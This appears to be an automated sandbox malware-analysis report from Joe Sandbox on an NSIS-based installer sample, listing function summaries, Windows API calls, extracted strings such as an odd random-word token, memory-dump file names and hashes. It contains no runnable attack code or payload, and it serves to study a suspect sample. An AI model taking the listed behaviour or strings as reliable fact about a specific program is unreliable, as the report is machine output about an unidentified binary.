SetClassLongW.USER32(?,000000F2,?), ref: 0040563D
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 0040568E
GetDlgItem.USER32(?,00000003), ref: 00405734
ShowWindow.USER32(00000000,?), ref: 00405756
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00405768
EnableWindow.USER32(?,?), ref: 00405783
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00405799
EnableMenuItem.USER32(00000000), ref: 004057A0
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 004057B8
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 004057CB
lstrlenW.KERNEL32(00451D98,?,00451D98,00476AA0), ref: 004057F4
SetWindowTextW.USER32(?,00451D98), ref: 00405808
ShowWindow.USER32(?,0000000A), ref: 0040593C

Memory Dump Source

Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID:
API String ID: 3282139019-0
Opcode ID: 368de82205cbc4940732e302d2e847697efd4030890e1d8fceca6bf2533b68ed
Instruction ID: f960999a9681c69a960cfafceaa395f4ab6c0ab2fcbff8166cb7657a87eea2d0
Opcode Fuzzy Hash: 368de82205cbc4940732e302d2e847697efd4030890e1d8fceca6bf2533b68ed
Instruction Fuzzy Hash: 13C189B1500A04FBDB216F61ED89E2B7BA9EB49715F00093EF506B11F1C6399881DF2E

Function 00405958 Relevance: 45.7, APIs: 15, Strings: 11, Instructions: 233
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406328: GetModuleHandleA.KERNEL32(?,?,00000020,004038F2,00000008), ref: 00406336
Part of subcall function 00406328: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038F2,00000008), ref: 00406341
Part of subcall function 00406328: GetProcAddress.KERNEL32(00000000), ref: 00406353

lstrcatW.KERNEL32(004DF0C0,00451D98,80000001,Control Panel\Desktop\ResourceLocale,00000000,00451D98,00000000,00000006,004CF0A0,-00000002,00000000,004E30C8,00403AED,?), ref: 004059DA
lstrlenW.KERNEL32(0046E220,?,?,?,0046E220,00000000,004D30A8,004DF0C0,00451D98,80000001,Control Panel\Desktop\ResourceLocale,00000000,00451D98,00000000,00000006,004CF0A0), ref: 00405A5C
lstrcmpiW.KERNEL32(0046E218,.exe,0046E220,?,?,?,0046E220,00000000,004D30A8,004DF0C0,00451D98,80000001,Control Panel\Desktop\ResourceLocale,00000000,00451D98,00000000), ref: 00405A6F
GetFileAttributesW.KERNEL32(0046E220), ref: 00405A7A

Part of subcall function 00405F7D: wsprintfW.USER32 ref: 00405F8A

LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,004D30A8), ref: 00405AE3
RegisterClassW.USER32(00476A40), ref: 00405B36
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00405B4E
CreateWindowExW.USER32(00000080,?,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00405B87

Part of subcall function 00403EC1: SetWindowTextW.USER32(00000000,00476AA0), ref: 00403F5C

ShowWindow.USER32(00000005,00000000), ref: 00405BBD
LoadLibraryW.KERNELBASE(RichEd20), ref: 00405BCE
LoadLibraryW.KERNEL32(RichEd32), ref: 00405BD9
GetClassInfoW.USER32(00000000,RichEdit20A,00476A40), ref: 00405BE9
GetClassInfoW.USER32(00000000,RichEdit,00476A40), ref: 00405BF6
RegisterClassW.USER32(00476A40), ref: 00405BFF
DialogBoxParamW.USER32(?,00000000,004054A5,00000000), ref: 00405C1E

Strings

.exe, xrefs: 00405A69
@jG, xrefs: 00405AF2
_Nb, xrefs: 00405AFD
Control Panel\Desktop\ResourceLocale, xrefs: 0040599E
RichEdit, xrefs: 00405BF0
RichEd20, xrefs: 00405BC9
RichEdit20A, xrefs: 00405BE2, 00405BE7
RichEd32, xrefs: 00405BD4
.DEFAULT\Control Panel\International, xrefs: 004059C5
F, xrefs: 00405A22
"F, xrefs: 00405A4B

Memory Dump Source

Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: ClassLoad$InfoLibraryWindow$Register$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemTextlstrcatlstrcmpilstrlenwsprintf
String ID: F$"F$.DEFAULT\Control Panel\International$.exe$@jG$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 608394941-2746725676
Opcode ID: ff750bfe5142f8154025b48725ed66ec952ceebe161b5cb34577f361fd6f9efb
Instruction ID: c846f8899feab6000a015ad3d9ba4b80e1385b5ee8e185a3118195eaaf4def2f
Opcode Fuzzy Hash: ff750bfe5142f8154025b48725ed66ec952ceebe161b5cb34577f361fd6f9efb
Instruction Fuzzy Hash: 53719175600705AEE710AB65AD89E2B37ACEB44718F00453FF906B62E2D778AC41CF6D

Function 00401A1F Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 185
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

lstrcatW.KERNEL32(00000000,00000000,SeminarsRuralConductWagnerYahooWords,004D70B0,00000000,00000000), ref: 00401A76
CompareFileTime.KERNEL32(-00000014,?,SeminarsRuralConductWagnerYahooWords,SeminarsRuralConductWagnerYahooWords,00000000,00000000,SeminarsRuralConductWagnerYahooWords,004D70B0,00000000,00000000), ref: 00401AA0

Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042

Part of subcall function 00404F9E: lstrlenW.KERNEL32(00445D80,00427DC1,74DF23A0,00000000), ref: 00404FD6
Part of subcall function 00404F9E: lstrlenW.KERNEL32(004034E5,00445D80,00427DC1,74DF23A0,00000000), ref: 00404FE6
Part of subcall function 00404F9E: lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,00427DC1,74DF23A0,00000000), ref: 00404FF9
Part of subcall function 00404F9E: SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
Part of subcall function 00404F9E: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059

Strings

File: error, user abort, xrefs: 00401B53
File: overwriteflag=%d, allowskipfilesflag=%d, name="%s", xrefs: 00401A39
File: error, user cancel, xrefs: 00401B93
File: error, user retry, xrefs: 00401B40
File: error creating "%s", xrefs: 00401AF0
SeminarsRuralConductWagnerYahooWords, xrefs: 00401A53, 00401A5C, 00401A69, 00401A8C, 00401AC2, 00401AD8, 00401AEF, 00401B07, 00401B5E, 00401B80, 00401BCE, 00401C10, 00401C19, 00401C23, 00401C29, 00401C3B
File: skipped: "%s" (overwriteflag=%d), xrefs: 00401B81
File: wrote %d to "%s", xrefs: 00401BD0

Memory Dump Source

Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: MessageSendlstrlen$lstrcat$CompareFileTextTimeWindowlstrcpynwvsprintf
String ID: File: error creating "%s"$File: error, user abort$File: error, user cancel$File: error, user retry$File: overwriteflag=%d, allowskipfilesflag=%d, name="%s"$File: skipped: "%s" (overwriteflag=%d)$File: wrote %d to "%s"$SeminarsRuralConductWagnerYahooWords
API String ID: 4286501637-3003634926
Opcode ID: e66e3e702844fd7f079e7b10ae6de895f6d273da0ae026ac64afba16485083bb
Instruction ID: 90fa90950dbbf035c4f81507b49f49b55cd41b97b653845b504dd01eb698d819
Opcode Fuzzy Hash: e66e3e702844fd7f079e7b10ae6de895f6d273da0ae026ac64afba16485083bb
Instruction Fuzzy Hash: 8B512931901214BADB10BBB5CC46EEE3979EF05378B20423FF416B11E2DB3C9A518A6D

Function 004035B3 Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004035C4
GetModuleFileNameW.KERNEL32(00000000,004EB0D8,00002004,?,?,?,00000000,00403A73,?), ref: 004035E0

Part of subcall function 00405E7C: GetFileAttributesW.KERNELBASE(00000003,004035F3,004EB0D8,80000000,00000003,?,?,?,00000000,00403A73,?), ref: 00405E80
Part of subcall function 00405E7C: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A73,?), ref: 00405EA2

GetFileSize.KERNEL32(00000000,00000000,004EF0E0,00000000,004DB0B8,004DB0B8,004EB0D8,004EB0D8,80000000,00000003,?,?,?,00000000,00403A73,?), ref: 0040362C

Strings

Null, xrefs: 004036AA
Inst, xrefs: 00403698
Error launching installer, xrefs: 00403603
d.o, xrefs: 00403632
soft, xrefs: 004036A1
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 004037F1

Memory Dump Source

Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$d.o$soft
API String ID: 4283519449-1846846767
Opcode ID: 1c468bae64f21cc984bb13b12bce4b19fca03feff63e1d2e4bd855413efb252c
Instruction ID: dd9ffda97dac1e18d9081c595fe0b3a994810ea71df15e1d022794f6b5594c79
Opcode Fuzzy Hash: 1c468bae64f21cc984bb13b12bce4b19fca03feff63e1d2e4bd855413efb252c
Instruction Fuzzy Hash: 8551B8B1900214AFDB20DFA5DC85B9E7EACAB1435AF60857BF905B72D1C7389E408B5C

Function 0040337F Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 175
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004033F1
GetTickCount.KERNEL32 ref: 00403492
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 004034BB
wsprintfW.USER32 ref: 004034CE
WriteFile.KERNELBASE(00000000,00000000,00427DC1,00403792,00000000), ref: 004034FF
WriteFile.KERNEL32(00000000,00420170,?,00000000,00000000,00420170,?,000000FF,00000004,00000000,00000000,00000000), ref: 00403597

Strings

... %d%%, xrefs: 004034C8
(]C, xrefs: 004033FD
pAB, xrefs: 004033AB

Memory Dump Source

Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: CountFileTickWrite$wsprintf
String ID: (]C$... %d%%$pAB
API String ID: 651206458-3635341587
Opcode ID: a825d6787153bf0de4e2119c04a804022ac971a8914dbc6ec561ebe6254ceb78
Instruction ID: 38da17626370685da8d32df628044978fcb9abff53cdf920ebdff1c577d6aec0
Opcode Fuzzy Hash: a825d6787153bf0de4e2119c04a804022ac971a8914dbc6ec561ebe6254ceb78
Instruction Fuzzy Hash: BE615D71900219EBCF10DF69ED8469E7FBCAB54356F10413BE810B72A0D7789E90CBA9

Function 00404F9E Relevance: 10.6, APIs: 7, Instructions: 73
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(00445D80,00427DC1,74DF23A0,00000000), ref: 00404FD6
lstrlenW.KERNEL32(004034E5,00445D80,00427DC1,74DF23A0,00000000), ref: 00404FE6
lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,00427DC1,74DF23A0,00000000), ref: 00404FF9
SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059

Part of subcall function 00406831: GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,00427DC1,74DF23A0,00000000), ref: 00406902

Memory Dump Source

Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: MessageSend$lstrlen$TextVersionWindowlstrcat
String ID:
API String ID: 2740478559-0
Opcode ID: 3275530aef0c04b4202250623e45ea8dce7054cefbb9f1e0f944281260c15b48
Instruction ID: 2ad3572104664f977ebc3f2c903ed8e4223e657edd1a0c85de02785a0cf57670
Opcode Fuzzy Hash: 3275530aef0c04b4202250623e45ea8dce7054cefbb9f1e0f944281260c15b48
Instruction Fuzzy Hash: CD219DB1800518BBDF119F65CD849CFBFB9EF45714F10803AF905B22A1C7794A909B98

Function 00402713 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 42
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042

WritePrivateProfileStringW.KERNEL32(?,?,?,00000000), ref: 0040278C

Strings

SeminarsRuralConductWagnerYahooWords, xrefs: 00402770
<RM>, xrefs: 00402713
WriteINIStr: wrote [%s] %s=%s in %s, xrefs: 00402775

Memory Dump Source

Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: PrivateProfileStringWritelstrcpyn
String ID: <RM>$SeminarsRuralConductWagnerYahooWords$WriteINIStr: wrote [%s] %s=%s in %s
API String ID: 247603264-3698464886
Opcode ID: c5828c37d5dac6f57dc8390ef1c26791cf4c32ef29eebf51540eb2f0813f71ea
Instruction ID: 073f588d32262f2f2aee4dc53e9f390c64699363c3e1a285ed73a3087a8005e5
Opcode Fuzzy Hash: c5828c37d5dac6f57dc8390ef1c26791cf4c32ef29eebf51540eb2f0813f71ea
Instruction Fuzzy Hash: FF014471D4022AABCB117FA68DC99EE7978AF08345B10403FF115761E3D7B80940CBAD

Function 004021B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00404F9E: lstrlenW.KERNEL32(00445D80,00427DC1,74DF23A0,00000000), ref: 00404FD6
Part of subcall function 00404F9E: lstrlenW.KERNEL32(004034E5,00445D80,00427DC1,74DF23A0,00000000), ref: 00404FE6
Part of subcall function 00404F9E: lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,00427DC1,74DF23A0,00000000), ref: 00404FF9
Part of subcall function 00404F9E: SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
Part of subcall function 00404F9E: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059

ShellExecuteW.SHELL32(?,00000000,00000000,00000000,004D70B0,?), ref: 00402202

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Strings

ExecShell: success ("%s": file:"%s" params:"%s"), xrefs: 00402226
ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d, xrefs: 00402211

Memory Dump Source

Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: MessageSendlstrlen$ExecuteShellTextWindowlstrcatwvsprintf
String ID: ExecShell: success ("%s": file:"%s" params:"%s")$ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d
API String ID: 3156913733-2180253247
Opcode ID: 90e3c086b79b93c3d546270fca5f8a0155083991d9bd97c4b180a1ab42e6237a
Instruction ID: 745ed8f2a75272e62c3db2eabdadd847eb541a5ed47e1f4d533bb28834579f01
Opcode Fuzzy Hash: 90e3c086b79b93c3d546270fca5f8a0155083991d9bd97c4b180a1ab42e6237a
Instruction Fuzzy Hash: CD01F7B2B4021076D72076B69C87FAB2A5CDB81768B20447BF502F60D3E57D8C40D138

Function 00405EAB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405EC9
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,0040382A,004DF0C0,004E30C8), ref: 00405EE4

Strings

nsa, xrefs: 00405EB8

Memory Dump Source

Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 4f25573a167f5d7e94ef3749a48273d52f629be49305b635a70712ae5e4e57be
Instruction ID: e8a8b8b1c64af8904643f6899c21fc71a506a3659d4cdc328e790c9301f5e3ed
Opcode Fuzzy Hash: 4f25573a167f5d7e94ef3749a48273d52f629be49305b635a70712ae5e4e57be
Instruction Fuzzy Hash: D8F09076600208BBDB10CF69DD05A9FBBBDEF95710F00803BE944E7250E6B09E50DB98

Function 00402175 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShowWindow.USER32(00000000,00000000), ref: 0040219F

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

EnableWindow.USER32(00000000,00000000), ref: 004021AA

Strings

HideWindow, xrefs: 0040218D

Memory Dump Source

Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: Window$EnableShowlstrlenwvsprintf
String ID: HideWindow
API String ID: 1249568736-780306582
Opcode ID: 4821ec273fe2e599a5ae382fcc080c7bd17c9037b2f84cac4d1a2c1341ad8622
Instruction ID: f8c041d4f94449417b74c9df8c85987c6128e61f091d6cc810bdb42da7a8293a
Opcode Fuzzy Hash: 4821ec273fe2e599a5ae382fcc080c7bd17c9037b2f84cac4d1a2c1341ad8622
Instruction Fuzzy Hash: 13E0D832A04110DBDB08FFF5A64959E76B4EE9532A72104BFE103F61D2DA7D4D01C62D

Function 0040139D Relevance: 3.0, APIs: 2, Instructions: 42windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013F6
SendMessageW.USER32(00000402,00000402,00000000), ref: 00401406

Memory Dump Source

Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 0bd6c5a8fdcdf2cf9a6bba33cc7502a6d80b6dcfa2a0e894e00c73e73fb262d4
Instruction ID: 11189a7010c7ef4f551f6273c6f502c25af520ce36bbf29b1e3929f99495605f
Opcode Fuzzy Hash: 0bd6c5a8fdcdf2cf9a6bba33cc7502a6d80b6dcfa2a0e894e00c73e73fb262d4
Instruction Fuzzy Hash: 64F02831A10220DBD7165B349C08B273799BB81354F258637F819F62F2D2B8CC41CB4C

Function 00405E7C Relevance: 3.0, APIs: 2, Instructions: 15fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,004035F3,004EB0D8,80000000,00000003,?,?,?,00000000,00403A73,?), ref: 00405E80
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A73,?), ref: 00405EA2

Memory Dump Source

Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
